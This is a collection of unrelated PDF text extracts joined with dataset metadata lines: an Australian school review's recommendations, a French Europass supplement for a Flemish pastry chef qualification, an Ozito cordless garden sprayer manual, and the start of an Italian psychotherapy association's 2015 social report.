authentic and educational method for students to contribute to and be part of their school. The panel noted in discussions with students the preference for a parliament to the more traditional student representative council (SRC). The students commented that the Parliament offered a greater opportunity for wider student involvement. Recommendations The panel recommends Charnwood-­‐Dunlop School pays attention to the following opportunities for improvement during the next planning cycle. 1. Embed a strategic approach to induction at Charnwood-­‐Dunlop School that promotes and sustains the development of an expert teaching team. To ensure the establishment of whole school practices and consistent implementation of learning programs an induction program can be developed that meets the needs of the school's improvement agenda. The program can define the unique way the school operates and support the leadership during periods of staff turnover. A student and family version of such a program would also be beneficial. 2. Sustain and embed an improvement focus on literacy and numeracy. Achieving consistency and transparency of practice across the whole school in regards to literacy and numeracy learning is an opportunity for the next School Plan. Maintaining effective programs instead of implementing the latest programs is also a challenge. The use of a professional learning plan to align priorities, ensure consistency and direct staff is recommended. The panel also recommends the development of a sustainable school wide data collection, collation, analysis and reporting system to ensure use of data sets across the school is integrated, coordinated and systematic. 3. Increase the prominence of student voice throughout all aspects of the school community. Expand the Student Parliament Program and embed the already high level practices in civics and citizenship education across all year levels to enhance student engagement and ownership. Further opportunities to extend student voice include the Positive Behaviours Support approach and the Protective Behaviours Program. 4. Build upon School Vision, Values and Community Partnerships. Student, staff and community morale is central to promoting positive learning and building pride, trust and embedding the REACH values. Stay true to the use of the school's vision and values in every classroom and within the community. The panel advises that the school investigate and implement further refurbishment and beautification with community consultation to extend upon the work already completed, such as, the new classroom walls, classroom displays and the pre-­‐school environment. The panel believes this will increase staff, student and community pride and purpose.
<urn:uuid:2bb885ea-d78f-459c-b0af-bca309df86c4>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
37,718
Supplément au certificat Europass 1 3. Description des compétences acquises La norme a été développée et approuvée par les partenaires sociaux sectoriels. Le titulaire du titre de compétence professionnelle sait: travailler les pâtes: pèse la quantité nécessaire des ingrédients en utilisant une balance électrique ou mécanique à 1% de précision; prépare la pâte feuilletée; pétrit la pâte jusqu'à obtenir une masse homogène; bat la pâte jusqu'à obtenir une masse homogène; tourne la pâte jusqu'à obtenir une masse homogène; travaille la pâte à la main jusqu'à obtenir une masse homogène; améliore une mauvaise pâte. traiter les pâtes: divise la pâte en pâtons; pèse la pâte et lit le poids affiché à 1% de précision; forme différents modèles des pâtons; met les pâtons dans les formes de cuisson, sur les plaques ou sur les tapis; ajoute des ingrédients supplémentaires. cuire les pâtes: règle la température du four selon le produit à cuire; règle la durée de cuisson selon le produit à cuire; fait le contrôle visuel de l'influence de la distribution de la chaleur sur le produit; lit la durée et la température affichées; règle à nouveau la durée et la température à nouveau en cas d'anomalies; démoule immédiatement les produits cuits; démoule la pâtisserie selon le type de produit; laisse refroidir les produits sur une grille et à l'endroit prévu. Note explicative Ce document vise à compléter l'information figurant sur le certificat/titre/diplôme. Le supplément au certificat n'a aucune valeur légale. Le format adopté est conforme à la Résolution 93/C 49/01 du Conseil du 3 décembre 1992 concernant la transparence des qualifications, à la Résolution 96/C224/04 du Conseil du 15 juillet 1996 sur la transparence des certificats de formation professionnelle, ainsi qu'à la Recommandation 2001/613/EG du Parlement européen et du Conseil du 10 juillet 2001 relative à la mobilité dans la Communauté des étudiants, des personnes en formation, des volontaires, des enseignants et des formateurs. Pour plus d'information, visitez le site: http://europass.cedefop.europa.eu © Communautés européennes 2002 1 Version octobre 2011 préparer les crèmes: mélange les ingrédients dans un récipient; mélange les ingrédients dans l'ordre correcte pour préparer la crème; ajoute un liant; en pasteurisant la crème, tient compte de la température et de la durée; en stérilisant la crème, tient compte de la température et de la durée; fouette la crème; refroidit la crème le plus rapidement possible; conserve la crème non-utilisée au réfrigérateur. préparer les produits de finition: fond le chocolat tenant compte de la température; n'ajoute pas d'eau en faisant fondre et ne met pas le récipient sur une source de chaleur directe; tempère le chocolat; cuit du sirop de sucre clair et sans cristaux; contrôle la température en échauffant la pâte à sucre (fondant); fait le contrôle visuel de la brillance et de la transparence de la pâte à sucre (fondant); fabrique des décorations à deux dimensions en massepain. finir les produits: farcit/fourre les pâtisseries de crème; farcit/fourre les pâtisseries cuites; nappe/pulvérise, brosse et/ou décore les pâtisseries; applique des fruits égouttés; abricote; masque complètement le biscuit; masque avec des contours droits; coupe les produits finis avec un couteau ou trancheuse; contrôle le poids des produits finis; emballe les produits finis. surveiller la sécurité alimentaire: contrôle l'emballage, l'odeur, le goût, la couleur, la température et la date de péremption des matières premières; mesure et lit la température affichée des matières premières qui se conservent dans un endroit réfrigéré; règle la température correcte pour la réfrigération des produits; transfère les matières premières aux récipients pour une utilisation immédiate et les met dans l'endroit prévu à cette fin; met un label sur les matières premières préalablement pesées et les produits finis pour une utilisation ultérieure; met les matières premières et les produits finis au magasin conformément aux directives d'hygiène. travailler de manière hygiénique: porte des vêtements autorisés qui couvrent les jambes, avec fermeture complète au cou et porte de solides chaussures fermées devant; ne porte ni bijoux ni montre; se lave les mains conformément aux directives d'hygiène; nettoie les surfaces de travail conformément aux directives d'hygiène; nettoie le matériel utilisé conformément aux directives d'hygiène; dépose les déchets à la poubelle et ferme la poubelle. travailler en sécurité: utilise la sécurisation des machines conformément aux instructions du fabricant; évite les coupures; évite les brûlures; évite de s'écraser les mains et les doigts; range et met en sécurité tout le matériel; met de l'ordre afin d'éviter de tomber, de trébucher et de glisser. 2 Version octobre 2011 4. Secteurs d'activité et/ou types d'emplois accessibles pour le détenteur du certificat Le détenteur du titre de compétence professionnelle sait travailler en tant que pâtissier(e) dans l'industrie alimentaire, dans les boulangeries et dans le secteur de l'horeca. Règlements internationaux Base légale - Arrêté du Gouvernement flamand du 23 septembre 2005 portant exécution du décret du 30 avril 2004 concernant l'acquisition d'un titre de compétence professionnelle - Arrêté ministériel du 20 juillet 2011 fixant la norme pour le titre de compétence professionnelle de pâtissier(e). Informations complémentaires L'évaluation a été développée selon la norme de pâtissier(e), telle qu'établie et approuvée par les représentants des employés et les représentants des employeurs du secteur. L'évaluation consiste de l'évaluation facultative d'un portfolio et de l'évaluation proprement dite par 2 évaluateurs selon la norme de pâtissier. Plus d'informations disponibles sur: www.ervaringsbewijs.be Répertoire flamand de suppléments au certificat Europass Vous pouvez télécharger ici les suppléments au certificat Europass en différentes langues. Vous trouverez également une description des systèmes nationaux et régionaux pour les qualifications sur: www.europass-vlaanderen.be/cs 3 Version octobre 2011
<urn:uuid:ab8b5ed5-d122-4d1e-bc4b-61f1928eff98>
HuggingFaceFW/finepdfs/tree/main/data/fra_Latn/train
finepdfs
fra_Latn
6,231
**SPECIFICATIONS** - Voltage: 18V - Tank Volume: 3.5 litres - Delivery Pressure Max.: 2.5 bar (36 psi) - Flow Rate: 500ml/min - Nozzle: Ø1.5mm - Weight: 1.2kg **WARRANTY** IN ORDER TO MAKE A CLAIM UNDER THIS WARRANTY YOU MUST RETURN THE PRODUCT TO YOUR NEAREST BUNNINGS WAREHOUSE WITH YOUR BUNNINGS REGISTER RECEIPT. PRIOR TO RETURNING YOUR PRODUCT FOR WARRANTY PLEASE TELEPHONE OUR CUSTOMER SERVICE HELPLINE: **Australia** 1800 069 486 **New Zealand** 0508 069 486 TO ENSURE A SPEEDY RESPONSE PLEASE HAVE THE MODEL NUMBER AND DATE OF PURCHASE AVAILABLE. A CUSTOMER SERVICE REPRESENTATIVE WILL TAKE YOUR CALL AND ANSWER ANY QUESTIONS YOU MAY HAVE RELATING TO THE WARRANTY POLICY OR PROCEDURE. The benefits provided under this warranty are in addition to other rights and remedies which are available to you at law. Our goods come with guarantees that cannot be excluded at law. You are entitled to a replacement or refund for a major failure and for compensation for any other reasonably foreseeable loss or damage. You are also entitled to have the goods repaired or replaced if the goods fail to be of acceptable quality and the failure does not amount to a major failure. Generally you will be responsible for all costs associated with a claim under this warranty, however, where you have suffered any additional direct loss as a result of a defective product you may be able to claim such expenses by contacting our customer service helpline above. **5 YEAR REPLACEMENT WARRANTY** Your Product is guaranteed for a period of 60 months from the original date of purchase and is intended for DIY (Do It Yourself) use only. If a product is defective it will be replaced in accordance with the terms of this warranty. **Lithium Ion batteries and chargers are covered by a 36 month warranty.** Warranty excludes consumable parts, for example: shoulder strap. ## KNOW YOUR PRODUCT ### CORDLESS GARDEN SPRAYER 1. Adjustable Nozzle 2. Telescopic Extension 3. Spray Wand 4. Battery Port 5. On Demand Spray Trigger 6. Spray Wand Handle 7. Hose 8. Extension Nut 9. Strap Mounting Point 10. Motor Housing 11. Tank 12. On/Off Switch 13. Latch 14. Measuring Cup ### ACCESSORIES 15. Shoulder Strap ### BATTERY & CHARGER This tool is compatible with all battery and chargers from the Ozito Power X Change Range. **ONLINE MANUAL** Scan this QR Code with your mobile device to take you to the online manual. --- ## SETUP & PREPARATION ### 1. ASSEMBLY **WARNING!** ENSURE THE TOOL IS SWITCHED OFF AND BATTERY IS DISCONNECTED BEFORE PERFORMING ANY OF THE FOLLOWING TASKS. #### Spray Wand 1. Attach spray wand together with spray wand handle. #### Hose 1. Push one end of the hose fully into the spray wand handle. 2. Connect the nut by rotating clockwise. 3. Connect the opposite end of hose to the garden sprayer. **Note:** Check the hose and spray wand are connected securely. Check for any leaks, if any leaks are found, stop using the sprayer and fix the leak before continuing use. 2. INSERTING & REMOVING THE BATTERY Installing a Battery Pack 1. Align the ribs of the battery with the recess in the sprayer. 2. Slide the battery in so that it clicks into place. Removing a Battery from the Sprayer 1. Press and hold the battery release tab to release the battery. 2. Slide the battery out. 3. PREPARATION Shoulder Strap 1. Clip the ends of the shoulder strap to the mounting points on both ends of the sprayer motor housing. Note: To use the shoulder strap simply slide the strap over your shoulder so that some of the weight of the sprayer can be taken by your shoulder. Mixture WARNING! THE PRODUCT IS DESIGNED FOR SPRAYING CONSUMER-GRADE HOME AND GARDEN CHEMICALS SUCH AS WEED KILLERS, FUNGICIDES, INSECTICIDES, AND FERTILIZERS. 1. Remove the battery prior to adding liquid to the tank. 2. Remove the measuring cup by rotating anti-clockwise. 3. Use your measuring cup for your concentrate. 4. Carefully pour in liquid and concentrate then refit the cup, making sure it is tightened securely. Note: The tank is marked for measuring up to 3.5 litres of liquid plus room for adding additional 120ml of concentrate that may be measured and poured from the cap. 4. CONTROLS & OPERATION **WARNING! THE PRODUCT IS INTENDED FOR OUTDOOR USE IN A WELL-VENTILATED AREA.** **Switching On and Off** 1. To switch the sprayer ON, move the On/Off switch to position "I" (On). 2. To switch the sprayer OFF, move the On/Off switch to position "O" (Off). **On Demand Spray Trigger** 1. Press and hold trigger down to begin spraying. 2. Release trigger to stop flow. The spray trigger can be locked in the ON position for continuous operation. 1. Press trigger to begin spraying. 2. Slide trigger forward to lock down. Slide back to unlock for normal operation. **Adjustable Spray Pattern** The shape of the spray can be adjusted from spot spraying to a wide angle for a bigger area coverage. Rotate the adjustable nozzle to best suit your application. **Stream** - Loosen the nozzle. **Fan** - Tighten the nozzle. **Telescopic Extension Adjustment** 1. Loosen extension nut. 2. Pull the telescopic extension to the desired length. 3. Retighten the extension nut. **Spraying** - Always wear eye protection. Use personal protective equipment such as dust mask, non-slip safety footwear and liquid resistant anti-slip gloves. - The garden sprayer may be operated with the handle resting in the handle storage area or you may remove and hold the handle as shown. - Aim the sprayer nozzle directly at the plants or objects you wish to spray. - Be aware of splash back, stand far enough from the object being sprayed to prevent the spray splashing back onto you. **Note:** Be aware of other people and animals in the area where you are to be operating the garden sprayer, spray downwind. - Never point the spray end of the wand at yourself or others. - Avoid spraying on windy days. Spray can be accidentally blown onto plants or objects that should not be sprayed. - Always empty, clean, and drain the tank after every use as directed in the Maintenance section. **WARNING:** NEVER SET THE UNIT ON THE GROUND DURING USE. AVOID THE SPRAYER AND BATTERY FROM GETTING WET AT ALL TIMES. DO NOT SPRAY NEAR OR DIRECTLY AT THE UNIT. **WARNING:** IF THE UNIT OR BATTERY GETS WET, STOP USING THE PRODUCT. WAIT UNTIL THE PRODUCT IS COMPLETELY DRY BEFORE CONTINUING USE. **MAINTENANCE** **WARNING!** ALWAYS ENSURE THE TOOL IS SWITCHED OFF AND THE BATTERY IS REMOVED PRIOR TO ANY MAINTENANCE. **WARNING!** ALWAYS STORE AND DISPOSE OF CHEMICALS PROPERLY. DISPOSAL OF CONTAMINATED RINSE WATER SHOULD BE PERFORMED ACCORDING TO LOCAL ORDINANCES AND BYLAWS. ### Cleaning the Tank If there is any liquid left in the tank after spraying, the tank should be drained before cleaning. 1. Remove the motor housing from the tank by lifting up and releasing the latches on each end of the unit. 2. Drain the contents through the fill area. **Note:** Drain the contents back into the original container. Do not store chemicals in the tank. 3. Fill tank approximately one-third full with clean water and a small amount of mild household detergent. **Note:** Never use abrasive cleaning agents or flammable chemicals to clean the tank. 4. Wipe the outside of the tank with a clean, dry cloth. 5. Reattach the motor housing to the tank and ensure the latches are closed. 6. Fit a battery pack. Spray until the tank has been emptied. Make sure to direct the spray toward an area that will not be damaged by the spray solution. 7. Repeat the procedure with clean water. It may be necessary to rinse the tank more than once, then drain again as directed above. 8. Allow the unit to completely dry before reinstalling parts and storing the unit. ### Cleaning the Nozzle If the adjustable nozzle becomes clogged, use the following steps to clear the blockage. 1. Unscrew the nozzle fully from the spray wand. 2. Push a small wire (not included) through the cross holes to clear any debris. Rinse the cross holes and nozzle with clean water. ![Diagram showing how to clean the nozzle] 3. Wipe the nozzle and cross holes with a clean dry cloth and reinstall the nozzle. --- **TROUBLESHOOTING** | Problem | Cause | Remedy | |--------------------------|--------------------------------------------|----------------------| | Sprayer is not starting | Battery is low in charge. | Charge battery | | | Battery not inserted properly. | Insert battery pack correctly. | | Sprayer is not operating at full capacity | Nozzle blocked. | Clean nozzle. Refer to "Cleaning the Nozzle" in the Maintenance section of this manual | | Motor stops while spraying | Battery has no power. | Charge battery. | --- **SPARE PARTS** Spare parts can be ordered from the Special Orders Desk at your local Bunnings Warehouse. For further information, or any parts not listed here, visit www.ozito.com.au or contact Ozito Customer Service: - Australia: 1800 069 486 - New Zealand: 0508 069 486 - E-mail: email@example.com --- **DESCRIPTION OF SYMBOLS** | Symbol | Description | |--------|------------------------------------| | V | Volts | | Hz | Hertz | | ~ | Alternating current | | W | Watts | | dc/--- | Direct current | | Ø | Diameter | | mA | Milliamperes | | Nlo | No load speed | | /min | Revolutions or reciprocation per minute | | □ | Double insulated | | ! | Warning | | ☢ | Regulator compliance mark | | ☺ | Wear eye protection. | | ☠ | Wear a breathing mask | | ☺ | Wear protective gloves. | | ☺ | Wear safety footwear. | | ☹ | Do not use in the rain or leave the weed sprayer outdoors while raining. | --- **CARING FOR THE ENVIRONMENT** Power tools that are no longer usable should not be disposed of with household waste but in an environmentally friendly way. Please recycle where facilities exist. Check with your local council authority for recycling advice. Recycling packaging reduces the need for landfill and raw materials. Reuse of recycled material decreases pollution in the environment. Please recycle packaging where facilities exist. Check with your local council authority for recycling advice. **ELECTRICAL SAFETY** **WARNING!** When using mains-powered tools, basic safety precautions, including the following, should always be followed to reduce risk of fire, electric shock, personal injury and damage to the product. Read the whole manual carefully and make sure you know how to switch the tool off in an emergency, before operating the tool. Save these instructions and other documents supplied with this tool for future reference. The charger has been designed for 230V and 240V only. Always check that the power supply corresponds to the voltage on the rating plate. *Note: The supply of 230V and 240V on Orito tools are interchangeable for Australia and New Zealand.* If the supply cord is damaged, it must be replaced by an electrician or a power tool repairer in order to avoid a hazard. *Note:* Double insulation does not take the place of normal safety precautions when operating this tool. The insulation system is for added protection against injury from a possible electrical insulation failure within the tool. The power supply for this products charger should be protected by a residual current device rated at 30mA or less. A residual current device reduces the risk of electric shock. --- **GENERAL POWER TOOL SAFETY WARNINGS** **WARNING!** Read all safety warnings and all instructions. Failure to follow the warnings and instructions can result in electric shock, fire and/or serious injury. *Save all warnings and instructions for future reference.* The term “power tool” in the warnings refers to your mains-operated (corded) power tool or battery-operated (cordless) power tool. 1. **Work area safety** - a. Keep work area clean and well lit. Cluttered or dark areas invite accidents. - b. Do not operate power tools in explosive atmospheres, such as in the presence of flammable liquids, gases or dust. Power tools create sparks which may ignite the dust or fumes. - c. Keep children and bystanders away while operating a power tool. Distractions can cause you to lose control. 2. **Electrical safety** - a. Power tool plugs must match the outlet. Never modify the plug in any way. Do not use any adaptor plugs with earthed (grounded) power tools. Unmodified plugs and matching outlets will reduce risk of electric shock. - b. Avoid body contact with earthed or grounded surfaces, such as pipes, radiators, ranges and refrigerators. There is an increased risk of electric shock if your body is earthed or grounded. - c. Do not expose power tools to rain or wet conditions. Water entering a power tool will increase the risk of electric shock. - d. Do not abuse the cord. Never use the cord for carrying, pulling or unplugging the power tool. Keep cord away from heat, oil, sharp edges or moving parts. Damaged or entangled cords increase the risk of electric shock. - e. When operating a power tool outdoors, use an extension cord suitable for outdoor use. Use of a cord suitable for outdoor use reduces the risk of electric shock. - f. If operating a power tool in a damp location is unavoidable, use a residual current device (RCD) protected supply. Use of an RCD reduces the risk of electric shock. 3. **Personal safety** - a. Stay alert, watch what you are doing and use common sense when operating a power tool. Do not use a power tool while you are tired or under the influence of drugs, alcohol or medication. A moment of inattention while operating power tools may result in serious personal injury. - b. Use personal protective equipment. Always wear eye protection. Protective equipment such as dust mask, non-slip safety shoes, hard hat, or hearing protection used for appropriate conditions will reduce personal injuries. - c. Prevent unintentional starting. Ensure the switch is in the off-position before connecting to power source and/or battery pack, picking up or carrying the tool. Carrying power tools with your finger on the switch or energising power tools that have the switch on invites accidents. - d. Remove any adjusting key or wrench before turning the power tool on. A wrench or a key left attached to a rotating part of the power tool may result in personal injury. - e. Do not overreach. Keep proper footing and balance at all times. This enables better control of the power tool in unexpected situations. - f. Dress properly. Do not wear loose clothing or jewellery. Keep your hair, clothing and gloves away from moving parts. Loose clothes, jewellery or long hair can be caught in moving parts. - g. If devices are provided for the connection of dust extraction and collection facilities, ensure these are connected and properly used. Use of dust collection can reduce dust-related hazards. 4. **Power tool use and care** - a. Do not force the power tool. Use the correct power tool for your application. The correct power tool will do the job better and safer at the rate for which it was designed. - b. Do not use the power tool if the switch does not turn it on and off. Any power tool that cannot be controlled with the switch is dangerous and must be repaired. - c. Disconnect the plug from the power source and/or the battery pack from the power tool before making any adjustments, changing accessories, or storing power tools. Such preventive safety measures reduce the risk of starting the power tool accidentally. - d. Store idle power tools out of the reach of children and do not allow persons unfamiliar with the power tool or these instructions to operate the power tool. Power tools are dangerous in the hands of untrained users. - e. Maintain power tools. Check for misalignment or binding of moving parts, breakage of parts and any other condition that may affect the power tool’s operation. If damaged, have the power tool repaired before use. Many accidents are caused by poorly maintained power tools. - f. Keep cutting tools sharp and clean. Properly maintained cutting tools with sharp cutting edges are less likely to bind and are easier to control. - g. Use the power tool, accessories and tool bits etc. in accordance with these instructions, taking into account the working conditions and the work to be performed. Use of the power tool for operations different from those intended could result in a hazardous situation. - h. Keep children and persons visiting the work area away while operating a power tool. Distractions can cause you to lose control. 5. **Battery tool use and care** - a. Recharge only with the charger specified by the manufacturer. A charger that is suitable for one type of battery pack may create a risk of fire when used with another battery pack. - b. Use power tools only with specifically designated battery packs. Use of any other battery packs may create a risk of injury and fire. - c. When battery pack is not in use, keep it away from other metal objects, like paper clips, coins, keys, nails, screws or other small metal objects, that can make a connection from one terminal to another. Shorting the battery terminals together may cause burns or a fire. - d. Under abusive conditions, liquid may be ejected from the battery; avoid contact. If contact accidentally occurs, flush with water. If liquid contacts eyes, additionally seek medical help. Liquid ejected from the battery may cause irritation or burns. 6. **Service** - a. Have your power tool serviced by a qualified repair person using only identical replacement parts. This will ensure that the safety of the power tool is maintained. --- **WEED SPRAYER SAFETY WARNINGS** - Never allow children with reduced physical, sensory or mental capabilities or lack of experience and knowledge or people unfamiliar with these instructions to use the product. - Do not spray flammable liquids, such as petrol, to reduce the risk of fire or explosion. - Always follow the chemical manufacturer’s instructions printed on their product labeling for use, cleaning, and storage. Chemicals should be stored out of the reach of children. - Do not spray any material where the hazard is not known. - Do not spray where spark, flame, or other source of ignition is present. - Do not spray in the direction of people or animals. Always spray downwind. - Do not smoke, eat, or drink while using the product. - Do not discharge directly against skin. - Do not let the spray materials come in contact with skin. If contact does occur, wash immediately with soap and plenty of water. - To reduce exposure to spray materials, wear approved safety equipment, such as face mask designed for spraying, gloves, and other appropriate protective equipment. - Do not use flammable solvents or abrasive cleaning agents to clean the product. - Be aware of any hazards presented by the spray materials. Before using any pesticide or other spray materials with the product, carefully read the label on the original container and follow the instructions. - Keep the area clear of all bystanders, children, and pets while spraying. - Remember to properly replace and tighten the spray tank cover after pouring liquid into the spray tank. - Use only consumer-grade water-based lawn and garden chemicals. - Do not use commercial-grade chemicals or chemicals for commercial or industrial purposes. - Do not use caustic (alkali) self-heating or corrosive (acid) liquids with the product. These can corrode metal parts or weaken the tank and hose. - Do not leave residue or spray material in the spray tank after using the product. Clean after each use. - Electric shock hazard. Do not spray towards electrical outlets. - Aim the nozzle directly at the plants or objects you intend to spray. - Do not pour hot or boiling liquids into the spray tank. These can weaken or damage the hose or spray tank. - Do not overfill the tank. - Always check for leaks. If any are found, correct them before using the product. - The spray area must be well ventilated. - Always inspect both the inside and outside of the product before each use. - Liquids to be sprayed must be as thin as water. Thicker liquids will not spray properly. - Spray materials may be premixed and poured into the spray tank using a funnel, if necessary. - When using a measuring container other than the measuring cup, or when using a funnel to fill the tank, thoroughly clean and rinse these items after use. When premixing spray materials, rinse the container used for mixing. - Ensure that the spray materials are directed at an area that will not be damaged by the spray materials. - Do not spray material onto the unit. - Avoid spraying on windy days. The spray materials can be accidentally blown onto plants or objects that should not be sprayed. - Keep spray materials away from eyes. If spray materials come in contact with the eyes, wash them immediately with clean water. If irritation is still present, immediately seek medical help. - The product may be operated with the spray wand handle resting in the cradle, or may be removed from the cradle and be held by the operator. - After every use, thoroughly wash your hands and any area where skin has been exposed to the spray. - Maintain the product. Thoroughly inspect both the inside and outside of the product and examine the components before each use. Check for cracked and deteriorated hoses, leaks, clogged nozzles, and missing or damaged parts. If damaged, have the product repaired before use. Many accidents are caused by poorly maintained products. - Remove the battery from the product before draining, cleaning, or storing to avoid accidental starting.
2a8eeb05-9ffa-4759-a007-d51c3dda53a2
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
22,237
Bilancio Sociale Anno 2015 A cura di Francesca Galvani Roberta Lubrano INDICE 1. La Storia ................................................................. pag.2 2. La Missione ............................................................... pag.4 3. I Valori ........................................................................... pag.5 4. L’assetto organizzativo interno .................................... pag. 6 5. Le relazioni ..................................................................... pag.17 6. La visione ....................................................................... pag.18 7. Corsi e attività del Centro .......................................... pag.19 8. Altri progetti .................................................................. pag.33 9. Formazione .................................................................... pag.39 10. Progetti per il futuro .................................................. pag.51 1. LA STORIA Dal 1973 Il Centro studi W. Reich di Padova ebbe una vita più informale, legata a una serie di iniziative culturali che vedono il movimento reichiano presente in Padova, prima della creazione di un'Associazione con un proprio statuto. In un primo momento si trattava di testimonianze isolate e saltuarie in seminari, convegni e incontri che avvenivano prevalentemente presso l'Università, nell'allora Istituto di Psicologia, a seguito della partecipazione di voci significative di membri dell'Associazione “Centro Studi Reichiani” di Napoli, costituitasi nel 1969. Questa presenza si intensifica, sia a seguito dei cambiamenti associativi e statutari dell'Associazione napoletana che, a partire dal 1975, con la nuova denominazione (Centro Studi W. Reich), è soggetta a varie ridefinizioni interne, sia per la presenza di interlocutori stabili prima e di referenti, poi, che si raccolgono attorno alla figura del Dr. Oliviero Facchinetti. 1982 A seguito dell’aggregazione del Dr. Giuseppe Rizzi, i simpatizzanti hanno un loro recapito presso la sede dell'Associazione “Pozzo Dipinto” in via C. Battisti 187 a Padova con cui instaurano forme di collaborazione. Nello stesso periodo iniziano a Padova regolari attività, condotte in collaborazione con i più significativi rappresentanti del Centro Studi W. Reich di Napoli il Dott. L. Rispoli e la Dott.ssa B. Andriello. 1983 Si forma un’associazione di fatto con sede autonoma in Corso Milano 63, presso lo studio medico del Dr. Filippo Panzuto. 13-12-1985 L'Associazione “Centro Studi W. Reich” di Napoli, modifica il proprio statuto, inserendovi la possibilità di istituire sedi secondarie in altre città e istituisce la sede secondaria di Padova localizzata in Ponte S. Nicolò (PD), Via Giovanni XXXIII, nominandone i soci fondatori nelle seguenti persone: 1) Dott. Giuseppe Rizzi; 2) Dr. Oliviero Facchinetti; 3) Dr. ssa Maria Sartore. 3-2-1986 A seguito della delibera del Consiglio Direttivo della sede principale, presidente il Dr. Luciano Rispoli, a cui spetta statutariamente il diritto di approvazione, nomina per la sede secondaria altri tre soci ordinari e quattro soci fondatori, in ordine a seguito riportati: 1) A.S. Oliva Berardi; 2) Dr.ssa Ornella Costanzo; 3) Dr.ssa Anna Rega; 1) Dr. Alessandro Bianchi; 2) Dr. M. Annunziata Nardi; 3) Dr. ssa Anna Palena; 4) Dr.ssa M. Lucina Rigoni. In questo stesso anno la sede si è trasferita in Via Calfura 4 a Padova, presso lo studio del Dr. Maurizio Borsatto. L’intensificarsi di esigenze informative e di un coinvolgimento diretto nelle responsabilità dei programmi e delle attività associative, insieme a scelte personali diverse, che portano anche alcuni membri ad allontanarsi dalla sede padovana, riducono tanto la presenza di alcuni membri quanto il loro apporto di risorse e contributi, fino a ridurre i membri effettivi dell’Associazione alle persone del Dr. G. Rizzi, del Dr. O. Facchinetti e della Dr.ssa A. Palena. Inoltre, nel frattempo si sono sviluppate altre modalità e forme istituzionali di rapporto con la sede principale di Napoli. 1) La prima riguarda la creazione di un’Associazione professionale che raccoglie tutti i professionisti italiani abilitati e formati nel modello della Psicoterapia Funzionale e corporea di derivazione reichiana e collegata alle altre associazioni internazionali di categoria, per cui tutti i professionisti che si trovano nei vari centri italiani mantengono un collegamento di scambio culturale, formazione e aggiornamento-confronto attraverso la S.I.V. (Società Italiana di Vegetoterapia Caratteroanalitica) prima, trasformatasi poi in S.I.F. (Società Italiana di Psicoterapia Funzionale). 2) In secondo luogo, la nascita in piena autonomia di altri Centri in Italia, che mantengono i loro collegamenti solamente attraverso il reciproco riconoscimento nella S.I.F. (che assume compiti formativi e di ricerca scientifica) unitamente alle osservazioni precedenti, fanno ritenere opportuna la rifondazione di questa Associazione a partire dalla situazione di fatto. Ciò comporta: a) l’adeguamento delle norme statutarie a quelle degli altri Centri pur nella reciproca piena autonomia; b) il riconoscimento di funzioni di collegamento tra singoli soci alla S.I.F.; c) la riaggregazione degli attuali tre partecipanti alla vita associativa; d) la convenienza della stesura di un regolamento interno che regoli il funzionamento. 1994 La Dott.ssa R. Rosin entra nell’associazione. 2000 Il Centro Studi W. Reich – Istituto SIF è sede in cui si svolgono esercitazioni, laboratori, e tirocini per la Scuola Europea di Psicoterapia Funzionale Corporea riconosciuta dal MURST con D.M. del 16.11.00. 2005 Il Centro è stato riconosciuto legalmente dal M.U.R.S.T. quale sede didattica della Scuola Europea di Psicoterapia Funzionale Corporea (S.E.F.). 2006 Dopo aver trasferito la sua sede in via Vicenza 12/A, si costituisce il “Centro Studi Wilhelm Reich-Istituto SIF”, in una rinnovata forma associativa secondo un nuovo statuto. 2008 In considerazione delle innovazioni teoriche del modello di riferimento, i soci decidono, all’unanimità, di cambiare il nome dell’associazione in “Centro di Psicologia e Psicoterapia Funzionale- Istituto S.I.F.”. 2. LA MISSIONE Il Centro di Psicologia e Psicoterapia Funzionale-Istituto SIF è un’associazione culturale apartitica e senza fini di lucro che opera nell’ambito sociale, socio-sanitario ed organizzativo, con la finalità di promuovere, come da statuto, lo sviluppo, il benessere e la salute della persona, ispirandosi a principi di trasparenza e democraticità, e mantenendo la piena indipendenza e autonomia rispetto ad ogni altra organizzazione culturale. Le finalità non si esauriscono nello scopo sociale, ma vanno ben oltre, integrandosi in una missione di prevenzione, cura e formazione dell’individuo e delle organizzazioni, considerati come organismi nella propria complessità e singolarità. Nella nostra associazione esiste anche una mission interna, intesa come possibilità di condivisione e crescita personale e professionale propria dall’essere insieme; condivisione intesa sia come aspetto formativo di confronto e arricchimento reciproco nelle diverse competenze e professionalità, sia nel mettere insieme risorse umane con differenti ruoli, in modo che ognuno possa dare il proprio contributo nei vari progetti e nelle attività associative, ma anche di un confronto empatico e di sostegno reciproco nelle difficoltà che il nostro lavoro ci propone quotidianamente. L’esclusività della nostra associazione sta, infatti, proprio nel considerare le persone nella loro globalità e nel loro contesto, ovvero nella costruzione di un progetto valutiamo cosa può servire a quel gruppo di persone, cosa occorre approfondire o, comunque, incrementare per migliorare la qualità di vita dell’individuo o dell’organizzazione richiedente. L’esclusività sta, non solo nell’attenzione all’Altro a 360 gradi, ma anche a noi stessi, cioè ci consideriamo come persone, come operatori, come soci, vivendo anche un aspetto emotivo che tendenzialmente nelle organizzazioni lavorative si tende più a tagliare, a trascurare o a sottovalutare. Il Centro di Psicologia e Psicoterapia Funzionale considera gli altri in tutte le loro parti e in tutti i loro aspetti, dai soci agli utenti dei servizi. I nostri interlocutori sono individui, gruppi, enti pubblici e privati ed istituzioni che richiedono un nostro intervento. Per realizzare la nostra missione esistono progetti di volontariato e un counseling di accoglienza gratuito per il contenimento di alcuni problemi psicologici e psico-sociali; si sono formalizzate e consolidate nel tempo collaborazioni, convenzioni e consulenze con enti ed istituzioni pubbliche e private che finanziato progetti e ricerche di interesse educativo, formativo e sociale; si organizzano costantemente momenti di condivisione e supervisione per i soci e per chi altrui svolge una prestazione professionale all’interno del Centro; si organizzano attività interne gratuite per i tirocinanti dell’Università, i volontari del servizio civile ed altri stagisti; si catalogano libri e supporti informatici utili per fini di approfondimento e ricerca. 3. I VALORI All’interno della nostra associazione vi è la condivisione di più valori. Il punto di forza del nostro servizio è la presa in carico della persona nella sua interezza, ciò significa che chi si rivolge a noi viene considerato e visto nei suoi bisogni di base che spesso vanno più in profondità rispetto alla richiesta iniziale. Il valore aggiunto che le persone che si rivolgono al centro ricevono è legato al raggiungimento di un maggior benessere psicofisico che si ottiene partendo da un primo momento di accoglienza per poi svilupparsi in un percorso che porta 